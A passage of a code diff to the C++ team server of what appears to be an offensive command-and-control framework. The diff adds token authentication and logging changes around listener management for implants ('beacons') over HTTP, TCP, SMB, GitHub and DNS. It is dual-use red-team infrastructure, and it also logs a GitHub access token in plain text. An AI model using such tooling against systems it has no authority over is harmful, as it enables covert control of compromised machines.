std::setfill('0') << static_cast(hash[i]); + } + + return oss.str(); +} + +void TeamServer::cleanupExpiredTokens() +{ + if (!m_authEnabled) + return; + + const auto now = std::chrono::steady_clock::now(); + std::lock_guard lock(m_authMutex); + for (auto it = m_activeTokens.begin(); it != m_activeTokens.end();) + { + if (now >= it->second) + { + it = m_activeTokens.erase(it); + } + else + { + ++it; + } + } +} + +grpc::Status TeamServer::ensureAuthenticated(grpc::ServerContext* context) +{ + if (!m_authEnabled) + return grpc::Status::OK; + + const auto& metadata = context->client_metadata(); + auto metadataIt = metadata.find("authorization"); + if (metadataIt == metadata.end()) + { + m_logger->warn("gRPC request rejected: missing authorization metadata"); + return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Missing authorization metadata"); + } + + std::string authHeader(metadataIt->second.data(), metadataIt->second.length()); + static const std::string prefix = "Bearer "; + if (authHeader.rfind(prefix, 0) != 0) + { + m_logger->warn("gRPC request rejected: malformed authorization header"); + return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Malformed authorization header"); + } + + std::string token = authHeader.substr(prefix.size()); + + std::lock_guard lock(m_authMutex); + auto now = std::chrono::steady_clock::now(); + auto tokenIt = m_activeTokens.find(token); + if (tokenIt == m_activeTokens.end()) + { + m_logger->warn("gRPC request rejected: invalid token presented"); + return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Invalid token"); + } + + if (now >= tokenIt->second) + { + m_logger->warn("gRPC request rejected: expired token presented"); + m_activeTokens.erase(tokenIt); + return grpc::Status(grpc::StatusCode::UNAUTHENTICATED, "Token expired"); + } + + tokenIt->second = now + m_tokenValidityDuration; + + return grpc::Status::OK; +} + +TeamServer::TeamServer(const nlohmann::json& config) + : m_config(config), m_isSocksServerRunning(false), m_isSocksServerBinded(false), m_authCredentialsFile(""), m_authEnabled(false), m_tokenValidityDuration(std::chrono::minutes(60)) +{ + // Logger + std::vector sinks; + + auto console_sink = std::make_shared(); sinks.push_back(console_sink); - auto file_sink = std::make_shared("logs/TeamServer.txt", 1024*1024*10, 3); - file_sink->set_level(spdlog::level::debug); - sinks.push_back(file_sink); + auto file_sink = std::make_shared("logs/TeamServer.txt", 1024 * 1024 * 10, 3); + sinks.push_back(file_sink); + + std::string logLevel = "info"; + auto logLevelIt = config.find("LogLevel"); + if (logLevelIt != config.end() && logLevelIt->is_string()) + logLevel = logLevelIt->get(); + + bool isUnknownLogLevel = false; + spdlog::level::level_enum configuredLevel = parseLogLevel(logLevel, isUnknownLogLevel); + + console_sink->set_level(configuredLevel); + file_sink->set_level(configuredLevel); m_logger = std::make_shared("TeamServer", begin(sinks), end(sinks)); - std::string logLevel = config["LogLevel"].get(); - m_logger->set_level(spdlog::level::debug); + m_logger->set_level(configuredLevel); + m_logger->flush_on(spdlog::level::warn); - // Config directory - m_teamServerModulesDirectoryPath = config["TeamServerModulesDirectoryPath"].get(); - m_linuxModulesDirectoryPath = config["LinuxModulesDirectoryPath"].get(); - m_windowsModulesDirectoryPath = config["WindowsModulesDirectoryPath"].get(); - m_linuxBeaconsDirectoryPath = config["LinuxBeaconsDirectoryPath"].get(); - m_windowsBeaconsDirectoryPath = config["WindowsBeaconsDirectoryPath"].get(); - m_toolsDirectoryPath = config["ToolsDirectoryPath"].get(); - m_scriptsDirectoryPath = config["ScriptsDirectoryPath"].get(); + if (isUnknownLogLevel) + m_logger->warn("Unknown log level '{}' requested, defaulting to 'info'.", logLevel); - fs::path checkPath = m_teamServerModulesDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("TeamServer modules directory path don't exist: {0}", m_teamServerModulesDirectoryPath.c_str()); + m_logger->debug("TeamServer logging initialized at {} level", spdlog::level::to_string_view(m_logger->level())); - checkPath = m_linuxModulesDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("Linux modules directory path don't exist: {0}", m_linuxModulesDirectoryPath.c_str()); + // Config directory + m_teamServerModulesDirectoryPath = config["TeamServerModulesDirectoryPath"].get(); + m_linuxModulesDirectoryPath = config["LinuxModulesDirectoryPath"].get(); + m_windowsModulesDirectoryPath = config["WindowsModulesDirectoryPath"].get(); + m_linuxBeaconsDirectoryPath = config["LinuxBeaconsDirectoryPath"].get(); + m_windowsBeaconsDirectoryPath = config["WindowsBeaconsDirectoryPath"].get(); + m_toolsDirectoryPath = config["ToolsDirectoryPath"].get(); + m_scriptsDirectoryPath = config["ScriptsDirectoryPath"].get(); - checkPath = m_windowsModulesDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("Windows modules directory path don't exist: {0}", m_windowsModulesDirectoryPath.c_str()); + auto authFileIt = config.find("AuthCredentialsFile"); + if (authFileIt != config.end() && authFileIt->is_string()) + { + m_authCredentialsFile = authFileIt->get(); + std::ifstream authFile(m_authCredentialsFile); + if (authFile.good()) + { + try + { + json authConfig = json::parse(authFile); + int ttlMinutes = authConfig.value("token_ttl_minutes", static_cast(m_tokenValidityDuration.count())); + if (ttlMinutes > 0) + { + m_tokenValidityDuration = std::chrono::minutes(ttlMinutes); + } - checkPath = m_linuxBeaconsDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("Linux beacon directory path don't exist: {0}", m_linuxBeaconsDirectoryPath.c_str()); + auto normalizeHash = [](std::string hash) + { + std::transform(hash.begin(), hash.end(), hash.begin(), [](unsigned char c) + { return static_cast(std::tolower(c)); }); + return hash; + }; - checkPath = m_windowsBeaconsDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("Windows beacon directory path don't exist: {0}", m_windowsBeaconsDirectoryPath.c_str()); + m_userPasswordHashes.clear(); - checkPath = m_toolsDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("Tools directory path don't exist: {0}", m_toolsDirectoryPath.c_str()); + auto usersIt = authConfig.find("users"); + if (usersIt != authConfig.end()) + { + if (!usersIt->is_array()) + { + m_logger->error("Authentication credential file {0} has a 'users' entry that is not an array.", m_authCredentialsFile); + } + else + { + for (const auto& userEntry : *usersIt) + { + if (!userEntry.is_object()) + { + m_logger->warn("Skipping malformed user entry in {0}; expected an object.", m_authCredentialsFile); + continue; + } - checkPath = m_scriptsDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("Script directory path don't exist: {0}", m_scriptsDirectoryPath.c_str()); + std::string username = userEntry.value("username", std::string()); + if (username.empty()) + { + m_logger->warn("Skipping user entry with missing username in {0}.", m_authCredentialsFile); + continue; + } - m_commonCommands.setDirectories(m_teamServerModulesDirectoryPath, - m_linuxModulesDirectoryPath, - m_windowsModulesDirectoryPath, - m_linuxBeaconsDirectoryPath, - m_windowsBeaconsDirectoryPath, - m_toolsDirectoryPath, - m_scriptsDirectoryPath); + std::string passwordHash = normalizeHash(userEntry.value("password_hash", std::string())); + if (passwordHash.empty()) + { + std::string plaintextPassword = userEntry.value("password", std::string()); + if (!plaintextPassword.empty()) + { + m_logger->warn("User '{0}' in credentials file provides a plaintext password; hashing at startup but please update the file to store 'password_hash'.", username); + passwordHash = hashPassword(plaintextPassword); + } + } - // Modules - m_logger->info("TeamServer module directory path {0}", m_teamServerModulesDirectoryPath.c_str()); - try - { - for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) - { - if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") - { - m_logger->info("Trying to load {0}", entry.path().c_str()); + if (passwordHash.empty()) + { + m_logger->warn("Skipping user '{0}' in {1} due to missing password hash.", username, m_authCredentialsFile); + continue; + } - void *handle = dlopen(entry.path().c_str(), RTLD_LAZY); + m_userPasswordHashes[username] = passwordHash; + } + } + } + else + { + std::string username = authConfig.value("username", std::string()); + std::string passwordHash = normalizeHash(authConfig.value("password_hash", std::string())); + if (passwordHash.empty()) + { + std::string plaintextPassword = authConfig.value("password", std::string()); + if (!plaintextPassword.empty()) + { + m_logger->warn("Legacy credentials format detected in {0}; hashing plaintext password but please migrate to 'users' array with hashed passwords.", m_authCredentialsFile); + passwordHash = hashPassword(plaintextPassword); + } + } - if (!handle) - { - m_logger->warn("Failed to load {0}", entry.path().c_str()); - continue; - } + if (!username.empty() && !passwordHash.empty()) + { + m_userPasswordHashes[username] = passwordHash; + } + } - std::string funcName = entry.path().filename(); - funcName = funcName.substr(3); // remove lib - funcName = funcName.substr(0, funcName.length() - 3); // remove .so - funcName += "Constructor"; // add Constructor + if (!m_userPasswordHashes.empty()) + { + m_authEnabled = true; + m_logger->info("Authentication enabled for {0} user(s) using credentials file: {1}", m_userPasswordHashes.size(), m_authCredentialsFile); + } + else + { + m_logger->error("Authentication credential file {0} does not contain any valid user credentials.", m_authCredentialsFile); + } + } + catch (const std::exception& ex) + { + m_logger->error("Failed to parse authentication credential file {0}: {1}", m_authCredentialsFile, ex.what()); + } + } + else + { + m_logger->critical("Authentication credential file not found: {0}", m_authCredentialsFile); + } + } + else + { + m_logger->warn("AuthCredentialsFile entry missing from configuration. gRPC authentication is disabled."); + } - m_logger->info("Looking for construtor function {0}", funcName); + fs::path checkPath = m_teamServerModulesDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("TeamServer modules directory path don't exist: {0}", m_teamServerModulesDirectoryPath.c_str()); - constructProc construct = (constructProc)dlsym(handle, funcName.c_str()); - if(construct == NULL) - { - m_logger->warn("Failed to find construtor"); - dlclose(handle); - continue; - } + checkPath = m_linuxModulesDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("Linux modules directory path don't exist: {0}", m_linuxModulesDirectoryPath.c_str()); - ModuleCmd* moduleCmd = construct(); + checkPath = m_windowsModulesDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("Windows modules directory path don't exist: {0}", m_windowsModulesDirectoryPath.c_str()); - std::unique_ptr moduleCmd_(moduleCmd); - m_moduleCmd.push_back(std::move(moduleCmd_)); + checkPath = m_linuxBeaconsDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("Linux beacon directory path don't exist: {0}", m_linuxBeaconsDirectoryPath.c_str()); - m_moduleCmd.back()->setDirectories(m_teamServerModulesDirectoryPath, - m_linuxModulesDirectoryPath, - m_windowsModulesDirectoryPath, - m_linuxBeaconsDirectoryPath, - m_windowsBeaconsDirectoryPath, - m_toolsDirectoryPath, - m_scriptsDirectoryPath); + checkPath = m_windowsBeaconsDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("Windows beacon directory path don't exist: {0}", m_windowsBeaconsDirectoryPath.c_str()); - m_logger->info("Module {0} loaded", entry.path().filename().c_str()); + checkPath = m_toolsDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("Tools directory path don't exist: {0}", m_toolsDirectoryPath.c_str()); + + checkPath = m_scriptsDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("Script directory path don't exist: {0}", m_scriptsDirectoryPath.c_str()); + + m_commonCommands.setDirectories(m_teamServerModulesDirectoryPath, + m_linuxModulesDirectoryPath, + m_windowsModulesDirectoryPath, + m_linuxBeaconsDirectoryPath, + m_windowsBeaconsDirectoryPath, + m_toolsDirectoryPath, + m_scriptsDirectoryPath); + + // Modules + m_logger->debug("TeamServer module directory path {0}", m_teamServerModulesDirectoryPath.c_str()); + std::size_t modulesLoaded = 0; + try + { + for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) + { + if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") + { + m_logger->debug("Trying to load {0}", entry.path().c_str()); + + void* handle = dlopen(entry.path().c_str(), RTLD_LAZY); + + if (!handle) + { + m_logger->warn("Failed to load {0}", entry.path().c_str()); + continue; + } + + std::string funcName = entry.path().filename(); + funcName = funcName.substr(3); // remove lib + funcName = funcName.substr(0, funcName.length() - 3); // remove .so + funcName += "Constructor"; // add Constructor + + m_logger->debug("Looking for construtor function {0}", funcName); + + constructProc construct = (constructProc)dlsym(handle, funcName.c_str()); + if (construct == NULL) + { + m_logger->warn("Failed to find construtor"); + dlclose(handle); + continue; + } + + ModuleCmd* moduleCmd = construct(); + + std::unique_ptr moduleCmd_(moduleCmd); + m_moduleCmd.push_back(std::move(moduleCmd_)); + + m_moduleCmd.back()->setDirectories(m_teamServerModulesDirectoryPath, + m_linuxModulesDirectoryPath, + m_windowsModulesDirectoryPath, + m_linuxBeaconsDirectoryPath, + m_windowsBeaconsDirectoryPath, + m_toolsDirectoryPath, + m_scriptsDirectoryPath); + + m_logger->debug("Module {0} loaded", entry.path().filename().c_str()); + modulesLoaded++; } } } - catch (const std::filesystem::filesystem_error& e) - { - m_logger->warn("Error accessing module directory"); - } + catch (const std::filesystem::filesystem_error& e) + { + m_logger->warn("Error accessing module directory"); + } - m_handleCmdResponseThreadRuning = true; - m_handleCmdResponseThread = std::make_unique(&TeamServer::handleCmdResponse, this); + if (modulesLoaded == 0) + m_logger->warn("No TeamServer modules loaded from {0}", m_teamServerModulesDirectoryPath.c_str()); + else + m_logger->info("Loaded {0} TeamServer module(s) from {1}", modulesLoaded, m_teamServerModulesDirectoryPath.c_str()); + + m_handleCmdResponseThreadRuning = true; + m_handleCmdResponseThread = std::make_unique(&TeamServer::handleCmdResponse, this); } - TeamServer::~TeamServer() { - m_handleCmdResponseThreadRuning = false; - m_handleCmdResponseThread->join(); + m_handleCmdResponseThreadRuning = false; + m_handleCmdResponseThread->join(); - m_isSocksServerBinded=false; - if(m_socksThread) - m_socksThread->join(); + m_isSocksServerBinded = false; + if (m_socksThread) + m_socksThread->join(); } +grpc::Status TeamServer::Authenticate(grpc::ServerContext* context, const teamserverapi::AuthRequest* request, teamserverapi::AuthResponse* response) +{ + (void)context; + + if (!m_authEnabled) + { + response->set_status(teamserverapi::KO); + response->set_message("Authentication is not configured on the server"); + return grpc::Status::OK; + } + + cleanupExpiredTokens(); + + const std::string& username = request->username(); + const std::string& password = request->password(); + + auto userIt = m_userPasswordHashes.find(username); + if (userIt == m_userPasswordHashes.end()) + { + response->set_status(teamserverapi::KO); + response->set_message("Invalid credentials"); + m_logger->warn("Authentication failed for unknown user '{}'", username); + return grpc::Status::OK; + } + + std::string providedHash = hashPassword(password); + if (providedHash != userIt->second) + { + response->set_status(teamserverapi::KO); + response->set_message("Invalid credentials"); + m_logger->warn("Authentication failed due to incorrect password for user '{}'", username); + return grpc::Status::OK; + } + + std::string token = generateToken(); + { + std::lock_guard lock(m_authMutex); + m_activeTokens[token] = std::chrono::steady_clock::now() + m_tokenValidityDuration; + } + + response->set_status(teamserverapi::OK); + response->set_token(token); + response->set_message("Authentication successful"); + m_logger->info("User '{}' authenticated successfully", username); + + return grpc::Status::OK; +} // Get the list of liseteners from primary listeners // and from listeners runing on beacon through sessionListener grpc::Status TeamServer::GetListeners(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer) { - m_logger->trace("GetListeners"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - for (int i = 0; i < m_listeners.size(); i++) - { - // For each primary listeners get the informations - teamserverapi::Listener listener; - listener.set_listenerhash(m_listeners[i]->getListenerHash()); + m_logger->trace("GetListeners"); - std::string type = m_listeners[i]->getType(); - listener.set_type(type); - if(type == ListenerHttpType || type == ListenerHttpsType ) - { - listener.set_ip(m_listeners[i]->getParam1()); - listener.set_port(std::stoi(m_listeners[i]->getParam2())); - } - else if(type == ListenerTcpType ) - { - listener.set_ip(m_listeners[i]->getParam1()); - listener.set_port(std::stoi(m_listeners[i]->getParam2())); - } - else if(type == ListenerSmbType ) - { - listener.set_ip(m_listeners[i]->getParam1()); - listener.set_domain(m_listeners[i]->getParam2()); - } - else if(type == ListenerGithubType ) - { - listener.set_project(m_listeners[i]->getParam1()); - listener.set_token(m_listeners[i]->getParam2()); - } - else if(type == ListenerDnsType ) - { - listener.set_domain(m_listeners[i]->getParam1()); - listener.set_port(std::stoi(m_listeners[i]->getParam2())); - } - listener.set_numberofsession(m_listeners[i]->getNumberOfSession()); + for (int i = 0; i < m_listeners.size(); i++) + { + // For each primary listeners get the informations + teamserverapi::Listener listener; + listener.set_listenerhash(m_listeners[i]->getListenerHash()); - writer->Write(listener); + std::string type = m_listeners[i]->getType(); + listener.set_type(type); + if (type == ListenerHttpType || type == ListenerHttpsType) + { + listener.set_ip(m_listeners[i]->getParam1()); + listener.set_port(std::stoi(m_listeners[i]->getParam2())); + } + else if (type == ListenerTcpType) + { + listener.set_ip(m_listeners[i]->getParam1()); + listener.set_port(std::stoi(m_listeners[i]->getParam2())); + } + else if (type == ListenerSmbType) + { + listener.set_ip(m_listeners[i]->getParam1()); + listener.set_domain(m_listeners[i]->getParam2()); + } + else if (type == ListenerGithubType) + { + listener.set_project(m_listeners[i]->getParam1()); + listener.set_token(m_listeners[i]->getParam2()); + } + else if (type == ListenerDnsType) + { + listener.set_domain(m_listeners[i]->getParam1()); + listener.set_port(std::stoi(m_listeners[i]->getParam2())); + } + listener.set_numberofsession(m_listeners[i]->getNumberOfSession()); - // check for each sessions alive from this listener check if their is listeners - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); + writer->Write(listener); - if(!session->isSessionKilled()) - { - for(auto it = session->getListener().begin() ; it != session->getListener().end(); ++it ) - { - m_logger->trace("|-> sessionListenerList {0} {1} {0}", it->getType(), it->getParam1(), it->getParam2()); + // check for each sessions alive from this listener check if their is listeners + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); - teamserverapi::Listener listener; - listener.set_listenerhash(it->getListenerHash()); - listener.set_beaconhash(session->getBeaconHash()); - std::string type = it->getType(); - listener.set_type(type); - if(type == ListenerTcpType ) - { - listener.set_ip(it->getParam1()); - listener.set_port(std::stoi(it->getParam2())); - } - else if(type == ListenerSmbType ) - { - listener.set_ip(it->getParam1()); - listener.set_domain(it->getParam2()); - } + if (!session->isSessionKilled()) + { + for (auto it = session->getListener().begin(); it != session->getListener().end(); ++it) + { + m_logger->trace("|-> sessionListenerList {0} {1} {0}", it->getType(), it->getParam1(), it->getParam2()); - writer->Write(listener); - } - } - } - } + teamserverapi::Listener listener; + listener.set_listenerhash(it->getListenerHash()); + listener.set_beaconhash(session->getBeaconHash()); + std::string type = it->getType(); + listener.set_type(type); + if (type == ListenerTcpType) + { + listener.set_ip(it->getParam1()); + listener.set_port(std::stoi(it->getParam2())); + } + else if (type == ListenerSmbType) + { + listener.set_ip(it->getParam1()); + listener.set_domain(it->getParam2()); + } - m_logger->trace("GetListeners end"); + writer->Write(listener); + } + } + } + } - return grpc::Status::OK; + m_logger->trace("GetListeners end"); + + return grpc::Status::OK; } - // Add listener that will run on the C2 // To add a listener to a beacon the process it to send a command to the beacon -grpc::Status TeamServer::AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response) +grpc::Status TeamServer::AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response) { - m_logger->trace("AddListener"); - string type = listenerToCreate->type(); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - // check if the listener already existe - if (type == ListenerGithubType) - { - std::vector>::iterator object = - find_if(m_listeners.begin(), m_listeners.end(), - [&](shared_ptr & obj){ return (obj->getType() == listenerToCreate->type() && - obj->getParam1() == listenerToCreate->project() && - obj->getParam2() == listenerToCreate->token());} - ); + m_logger->trace("AddListener"); + string type = listenerToCreate->type(); - if(object!=m_listeners.end()) - { - m_logger->warn("Add listener failed: Listener already exist"); - return grpc::Status::OK; - } - } - else - { - std::vector>::iterator object = - find_if(m_listeners.begin(), m_listeners.end(), - [&](shared_ptr & obj){ return (obj->getType() == listenerToCreate->type() && - obj->getParam1() == listenerToCreate->ip() && - obj->getParam2() == std::to_string(listenerToCreate->port()));} - ); + // check if the listener already existe + if (type == ListenerGithubType) + { + std::vector>::iterator object = + find_if(m_listeners.begin(), m_listeners.end(), + [&](shared_ptr& obj) + { + return (obj->getType() == listenerToCreate->type() && + obj->getParam1() == listenerToCreate->project() && + obj->getParam2() == listenerToCreate->token()); + }); - if(object!=m_listeners.end()) - { - m_logger->warn("Add listener failed: Listener already exist"); - return grpc::Status::OK; - } - } + if (object != m_listeners.end()) + { + m_logger->warn("Add listener failed: Listener already exist"); + return grpc::Status::OK; + } + } + else if (type == ListenerDnsType) + { + std::string domain = listenerToCreate->domain(); + int port = listenerToCreate->port(); - // TODO use a init to check if the listener is correctly init without using excpetion in the constructor - if (type == ListenerTcpType) - { - int localPort = listenerToCreate->port(); - string localHost = listenerToCreate->ip(); - std::shared_ptr listenerTcp = make_shared(localHost, localPort); - int ret = listenerTcp->init(); - if (ret>0) - { - listenerTcp->setIsPrimary(); - m_listeners.push_back(std::move(listenerTcp)); + // 🔸 Check if a DNS listener with the same domain and port already exists + auto existingDns = std::find_if( + m_listeners.begin(), + m_listeners.end(), + [&](std::shared_ptr& obj) + { + return (obj->getType() == ListenerDnsType && + obj->getParam1() == domain && + obj->getParam2() == std::to_string(port)); + }); - m_logger->info("AddListener Tcp {0}:{1}", localHost, std::to_string(localPort)); - } - else - { - m_logger->error("Error: AddListener Tcp {0}:{1}", localHost, std::to_string(localPort)); - } - } - else if (type == ListenerHttpType) - { - json configHttp = m_config["ListenerHttpConfig"]; - - int localPort = listenerToCreate->port(); - string localHost = listenerToCreate->ip(); - std::shared_ptr listenerHttp = make_shared(localHost, localPort, configHttp, false); - int ret = listenerHttp->init(); - if (ret>0) - { - listenerHttp->setIsPrimary(); - m_listeners.push_back(std::move(listenerHttp)); + if (existingDns != m_listeners.end()) + { + m_logger->warn("Add listener failed: DNS listener already running on {0}:{1}", domain, std::to_string(port)); + return grpc::Status::OK; + } + } + else + { + std::vector>::iterator object = + find_if(m_listeners.begin(), m_listeners.end(), + [&](shared_ptr& obj) + { + return (obj->getType() == listenerToCreate->type() && + obj->getParam1() == listenerToCreate->ip() && + obj->getParam2() == std::to_string(listenerToCreate->port())); + }); - m_logger->info("AddListener Http {0}:{1}", localHost, std::to_string(localPort)); - } - else - { - m_logger->error("Error: AddListener Http {0}:{1}", localHost, std::to_string(localPort)); - } - } - else if (type == ListenerHttpsType) - { - json configHttps = m_config["ListenerHttpsConfig"]; + if (object != m_listeners.end()) + { + m_logger->warn("Add listener failed: Listener already exist"); + return grpc::Status::OK; + } + } - int localPort = listenerToCreate->port(); - string localHost = listenerToCreate->ip(); - std::shared_ptr listenerHttps = make_shared(localHost, localPort, configHttps, true); - int ret = listenerHttps->init(); - if (ret>0) - { - listenerHttps->setIsPrimary(); - m_listeners.push_back(std::move(listenerHttps)); + // TODO use a init to check if the listener is correctly init without using excpetion in the constructor + if (type == ListenerTcpType) + { + int localPort = listenerToCreate->port(); + string localHost = listenerToCreate->ip(); + std::shared_ptr listenerTcp = make_shared(localHost, localPort, m_config); + int ret = listenerTcp->init(); + if (ret > 0) + { + listenerTcp->setIsPrimary(); + m_listeners.push_back(std::move(listenerTcp)); - m_logger->info("AddListener Https {0}:{1}", localHost, std::to_string(localPort)); - } - else - { - m_logger->error("Error: AddListener Https {0}:{1}", localHost, std::to_string(localPort)); - } - } - else if (type == ListenerGithubType) - { - std::string token = listenerToCreate->token(); - std::string project = listenerToCreate->project(); - std::shared_ptr listenerGithub = make_shared(project, token); - listenerGithub->setIsPrimary(); - m_listeners.push_back(std::move(listenerGithub)); + m_logger->info("AddListener Tcp {0}:{1}", localHost, std::to_string(localPort)); + } + else + { + m_logger->error("Error: AddListener Tcp {0}:{1}", localHost, std::to_string(localPort)); + } + } + else if (type == ListenerHttpType) + { + int localPort = listenerToCreate->port(); + string localHost = listenerToCreate->ip(); + std::shared_ptr listenerHttp = make_shared(localHost, localPort, m_config, false); + int ret = listenerHttp->init(); + if (ret > 0) + { + listenerHttp->setIsPrimary(); + m_listeners.push_back(std::move(listenerHttp)); - m_logger->info("AddListener Github {0}:{1}", project, token); - } - else if (type == ListenerDnsType) - { - std::string domain = listenerToCreate->domain(); - int port = listenerToCreate->port(); - std::shared_ptr listenerDns = make_shared(domain, port); - listenerDns->setIsPrimary(); - m_listeners.push_back(std::move(listenerDns)); + m_logger->info("AddListener Http {0}:{1}", localHost, std::to_string(localPort)); + } + else + { + m_logger->error("Error: AddListener Http {0}:{1}", localHost, std::to_string(localPort)); + } + } + else if (type == ListenerHttpsType) + { + int localPort = listenerToCreate->port(); + string localHost = listenerToCreate->ip(); + std::shared_ptr listenerHttps = make_shared(localHost, localPort, m_config, true); + int ret = listenerHttps->init(); + if (ret > 0) + { + listenerHttps->setIsPrimary(); + m_listeners.push_back(std::move(listenerHttps)); - m_logger->info("AddListener Dns {0}:{1}", domain, std::to_string(port)); - } + m_logger->info("AddListener Https {0}:{1}", localHost, std::to_string(localPort)); + } + else + { + m_logger->error("Error: AddListener Https {0}:{1}", localHost, std::to_string(localPort)); + } + } + else if (type == ListenerGithubType) + { + std::string token = listenerToCreate->token(); + std::string project = listenerToCreate->project(); + std::shared_ptr listenerGithub = make_shared(project, token, m_config); + listenerGithub->setIsPrimary(); + m_listeners.push_back(std::move(listenerGithub)); - m_logger->trace("AddListener End"); + m_logger->info("AddListener Github {0}:{1}", project, token); + } + else if (type == ListenerDnsType) + { + std::string domain = listenerToCreate->domain(); + int port = listenerToCreate->port(); + std::shared_ptr listenerDns = make_shared(domain, port, m_config); + listenerDns->setIsPrimary(); + m_listeners.push_back(std::move(listenerDns)); - return grpc::Status::OK; + m_logger->info("AddListener Dns {0}:{1}", domain, std::to_string(port)); + } + + m_logger->trace("AddListener End"); + + return grpc::Status::OK; } - -std::string generateUUID8() +std::string generateUUID8() { const char charset[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; const size_t length = 8; @@ -378,767 +739,810 @@ std::string generateUUID8() std::uniform_int_distribution<> distribution(0, sizeof(charset) - 2); std::string uuid; - for (size_t i = 0; i < length; ++i) { + for (size_t i = 0; i < length; ++i) + { uuid += charset[distribution(generator)]; } return uuid; } - -grpc::Status TeamServer::StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response) +grpc::Status TeamServer::StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response) { - m_logger->trace("StopListener"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - // Stop primary listener - std::string listenerHash=listenerToStop->listenerhash(); + m_logger->trace("StopListener"); - std::vector>::iterator object = - find_if(m_listeners.begin(), m_listeners.end(), - [&](shared_ptr & obj){ return obj->getListenerHash() == listenerHash;} - ); + // Stop primary listener + std::string listenerHash = listenerToStop->listenerhash(); + bool removedPrimary = false; + bool stopCommandSent = false; - if(object!=m_listeners.end()) - { - m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object)); - } + std::vector>::iterator object = + find_if(m_listeners.begin(), m_listeners.end(), + [&](shared_ptr& obj) + { return obj->getListenerHash() == listenerHash; }); - // Stop listerners runing on beacon by sending a messsage to this beacon - for (int i = 0; i < m_listeners.size(); i++) - { - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); - std::vector sessionListener = session->getListener(); - for (int j = 0; j < sessionListener.size(); j++) - { - if(listenerHash==sessionListener[j].getListenerHash()) - { - std::string input = "listener stop "; - input+=sessionListener[j].getListenerHash(); - std::string beaconHash = session->getBeaconHash(); + if (object != m_listeners.end()) + { + m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object)); + removedPrimary = true; + } - if (!input.empty()) - { - C2Message c2Message; - int res = prepMsg(input, c2Message); + // Stop listerners runing on beacon by sending a messsage to this beacon + for (int i = 0; i < m_listeners.size(); i++) + { + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); + std::vector sessionListener = session->getListener(); + for (int j = 0; j < sessionListener.size(); j++) + { + if (listenerHash == sessionListener[j].getListenerHash()) + { + std::string input = "listener stop "; + input += sessionListener[j].getListenerHash(); + std::string beaconHash = session->getBeaconHash(); - // echec init message - if(res!=0) - { - std::string hint = c2Message.returnvalue(); + if (!input.empty()) + { + C2Message c2Message; + int res = prepMsg(input, c2Message); - response->set_message(hint); - response->set_status(teamserverapi::KO); - } + // echec init message + if (res != 0) + { + std::string hint = c2Message.returnvalue(); - // Set the uuid to track the message and correlate with the response to get a clean output in the client - if(!c2Message.instruction().empty()) - { - std::string uuid = generateUUID8(); - c2Message.set_uuid(uuid); - m_listeners[i]->queueTask(beaconHash, c2Message); + response->set_message(hint); + response->set_status(teamserverapi::KO); + } - c2Message.set_cmd(input); - c2Message.set_data(""); - m_sentC2Messages.push_back(std::move(c2Message)); - } - } - } - } - } - } + // Set the uuid to track the message and correlate with the response to get a clean output in the client + if (!c2Message.instruction().empty()) + { + std::string uuid = generateUUID8(); + c2Message.set_uuid(uuid); + m_listeners[i]->queueTask(beaconHash, c2Message); - m_logger->trace("StopListener End"); + c2Message.set_cmd(input); + c2Message.set_data(""); + m_sentC2Messages.push_back(std::move(c2Message)); + stopCommandSent = true; + } + } + } + } + } + } - return grpc::Status::OK; + if (removedPrimary || stopCommandSent) + m_logger->info("StopListener completed for {0} (primary removed: {1}, stop commands sent: {2})", + listenerHash, + removedPrimary ? "yes" : "no", + stopCommandSent ? "yes" : "no"); + else + m_logger->warn("StopListener request ignored: listener {0} not found", listenerHash); + + m_logger->trace("StopListener End"); + + return grpc::Status::OK; } - bool TeamServer::isListenerAlive(const std::string& listenerHash) { - m_logger->trace("isListenerAlive"); + m_logger->trace("isListenerAlive"); - bool result=false; - for (int i = 0; i < m_listeners.size(); i++) - { - if(m_listeners[i]->getListenerHash()==listenerHash) - { - 